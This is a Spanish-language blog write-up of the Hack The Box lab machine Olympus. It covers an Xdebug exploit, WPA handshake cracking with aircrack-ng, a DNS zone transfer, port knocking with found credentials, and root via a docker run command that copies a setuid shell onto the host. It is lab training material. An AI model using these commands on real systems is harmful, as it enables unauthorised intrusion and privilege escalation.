[HTB write-up] Olympus

Hoy traemos un nuevo writeup de Hackthebox, el de la recién retirada Olympus, pero esta vez de una forma un poco más especial ya que la máquina es de nuestro compañero del team L1k0rd3b3ll0t4 OscarakaElvis, por lo que aprovecho para darle también la enhorabuena por la máquina tan molona que se marcó.

Enumeración nmap

Ejecutamos


En el análisis de nmap de los 1000 primeros puertos podemos comprobar que tenemos el servicio ssh en dos puertos diferentes: uno filtrado y otro abierto en el 2222. También tenemos un puerto 80 y un servicio dns en el 53, y después de escanear todos los puertos no hemos detectado nada más.

Accedemos al puerto 80 y nos encontramos


En el puerto 80 solo nos encontramos con esa imagen que, después de analizarla mas detenidamente, no nos dió ningún tipo de información que nos pudiera servir.

Fuzzing  de directorios

El primero que lanzaremos será dirb


El segundo que suelo lanzar es dirsearch con algunos diccionarios de Sectlist, pero no tuve suerte y no encontré info más relevante que lo mostrado con dirb.


Comprobando cabeceras

Ejecución.

wget –S http://10.10.10.83 -O /dev/null ; curl –I http://10.10.10.83

Una vez hemos ejecutado esos dos comandos podemos comprobar las cabeceras http, y hay algo que nos llama la atención como la cabecera xdebug la cual suele ser usada por los developers, por lo que buscamos un poco de información al respecto y encontramos un exploit.


Buscando información exploit de Xdebug:


Una vez seleccionado el exploit lo configuramos y ejecutamos.



Una vez que hemos obtenido una sesión de meterpreter, con el usuario www-data, ya podemos jugar un poco mas.

Visualizando usuarios


Comprobando si estoy en un docker


Como podemos ver en la imagen anterior tenemos un .dockerenv.

Vamos al home del usuario Zeus, y nos encontramos con un directorio llamado airgeddon: si se conoce al creador de la maquina podemos saber que tiene pinta de que es su herramienta para atacar wifis (os recomiendo a todos que la probéis porque es brutal, su github es https://github.com/v1s1t0r1sh3r3/airgeddon). Entramos dentro y analizando vemos una carpeta llamada 'captured':


Si listamos el contenido del directorio capturas, podemos ver que tenemos un txt y un .cap.


Y nos volvemos a encontrar con otro mensaje, que es el mismo que obtenemos al acceder al puerto 2222. Vemos que también nos habla de Olympia.


Analizando el cap con wireshark, podemos comprobar que tenemos una autenticación y un handshake, con un SSID.



Visualizando los 4 mensajes.


WPA KEY

Aircrack

Ahora realizaremos una fuerza bruta para intentar descifrar el handshake detectado con wireshark.

aircrack-ng –w rockyou.txt pcap.cap


Ya tenemos información relevante: tenemos un SSID y una clave.

La clave que nos devolvió aircrack es “flightoficarus” (vuelo de icaro), por lo que en seguida nos vamos dando cuenta que todo esta relacionado con la mitología griega y el SSID “Too_cl0se_to_th3_Sun” (demasiado cerca del sol).


Si estudiamos un poco la mitología griega Icarus es el hijo del arquitecto Dédalo.

Probamos la conexión por ssh, ya que vimos que teníamos un 22 filtrado y un 2222 abierto, así que le damos cera al 2222.

Después de estar un rato comprobando usuarios y contraseñas (yo pensaba que todo iba relacionado con el usuario Zeus pero no) probé:

ssh –p 2222 icarus@10.10.10.83
password: Too_cl0se_to_th3_Sun

y entramos!

SHELL DOCKER ICARUS

Una vez tenemos la conexión ssh, la segunda Shell, listamos y vemos y un txt, y vemos otro mensaje y un dns (recordar que también teníamos el puerto 53 tcp abierto).


Comprobando con dig si obtenemos información.

dig @10.10.10.83 ctfolymopus.htb

Pero no obtenemos mucho más, aunque sabemos que el puerto 53 TCP se usa para transferencias de zonas...


COMPROBANDO TRANSFERENCIA DE ZONA

dig axfr @10.10.10.83 ctfolympus.htb


Al ver la transferencia de zona podemos obtener mas información, como un mensaje “prometheus, open a temporal portal to Hades" y una numeración que tiene pinta de ser puertos, y lo que "parece" una contraseña.

Otro dato que nos llama la atención es el mensaje de “Here lies the great colossus of rhodes”.Comprobaremos si los demás dns tienen información pero este ya nos esta dando bastantes pistas con la transferencia de zona del dns.

También vemos otro dns hades.olyumpus.htb, rhodescolossus.ctfolympus.htb.
Rhodes.ctfolympus.htb

DNS Rhodes.ctfolympus.htb


No tenemos transferencia de zona para este dns.


Comprobando dns de RhodesColossus.ctfolympus.htb


Probando port knocking

Si recordamos el escaneo que realizamos con nmap, vimos que tenemos un puerto 22 filtrado y pensando un rato y viendo la información que tenemos del dns, podemos llegar a la conclusión que tenemos un port knocking, ya que vimos una enumeración de puertos, un usuario prometheus y una contraseña St34l_th3_F1re!.

Hacemos la primera prueba como vemos en la siguiente imagen, y podemos conectarnos.

Cabe destacar que tenemos un timeout para conectarnos por ssh, ya que sino lo hacemos rápido el puerto nos lo vuelve a cerrar.

Ejecutamos:

knock 10.10.10.83 3456 8234 62431
nmap –p 22 –sS 10.10.10.83

Con esto comprobamos si el puerto cambio de estado a open, en caso afirmativo, procedemos a la conexión por ssh:

ssh prometheus@10.10.10.83, y la contraseña St34l_th3_F1re!


En la imagen anterior podemos comprobar que, en muy poco tiempo, se nos cierra el puerto.

Una vez tenemos abierto los puertos para poder conectarnos por ssh, si comprobamos el banner del puerto 22, nos daremos cuenta que tenemos la pista de hades

En la configuración del port knocking, podemos comprobar el timeout de 5 seg.


En la imagen siguiente ya con el puerto abierto, establecemos la conexión por ssh.


OOOOOHHHHHH yeaahhh, tenemos nueva shell! Vamos al home de nuestro usuario prometheus, y bingo! tenemos flag de user.


Cabe indicar que cuando el puerto se abre también se comprobó el banner de dicho servicio en el cual nos muestra otra pista HADES.


En el home del usuario, también nos encontramos con un mensaje, que será otra pista que nos llevara a nuestro olympus, el mensaje es el siguiente.

ONLY IF YOU SERVE WELL TO THE GODS, YOU’LL BE ABLE TO ENTER INTO THE


Nos traemos linenum.sh para enumerar.

wget http://10.10.1x.x/linuxenum.sh /tmp
chmod +x Linuxenum.sh
./Linuxenum.sh

Aquí ya podemos comprobar que estamos en la maquina anfitriona y no en un docker, como estábamos antes, podemos comprobar como se ve en la imagen que ya no tenemos el .dockerenv, en el directorio raíz.


Pero tenemos dos detalles.

    • Primero pertenecemos al grupo de docker


    • Segundo tenemos los nombre de los docker, y al estar en el grupo podemos ejecutar comandos del docker.


Podemos ejecutar comandos de docker, como por ejemplo info:


Una vez vemos que podemos ejecutar comandos del docker, buscamos un poco por Internet como conseguir privesc con docker y nos encontramos con el post de hackplayers en el siguiente enlace.

https://www.hackplayers.com/2015/10/manejas-contendores-docker-pues-hazte-root.html

Preparando fichero con setgid activado

Como tenemos los nombre de los docker probamos con crete, y quedaría de la siguiente forma nuestro archivo con el setgid activado.

Con  el comando docker lo que se pretende hacer es crear un contenedor mapeando un volumen / a un dir de dentro del contenedor; y al entrar al contenedor acceder por esa carpeta al sistema de archivos del host. En esta parte podemos tanto sustituir el $pwd por /, de las dos formas funciona;

docker run -v $PWD:/pwned -t crete /bin/sh -c \ 'cp /bin/sh /pwned && /bin/chown root.root /pwned/sh && chmod a+s /pwned/sh'

se nos creara un fichero sh


Lo ejecutamos ./sh:

Whoami

Y Game over somos root, como vemos en la siguiente imagen.



Contribución gracias a Frankytech

Comentarios

Publicar un comentario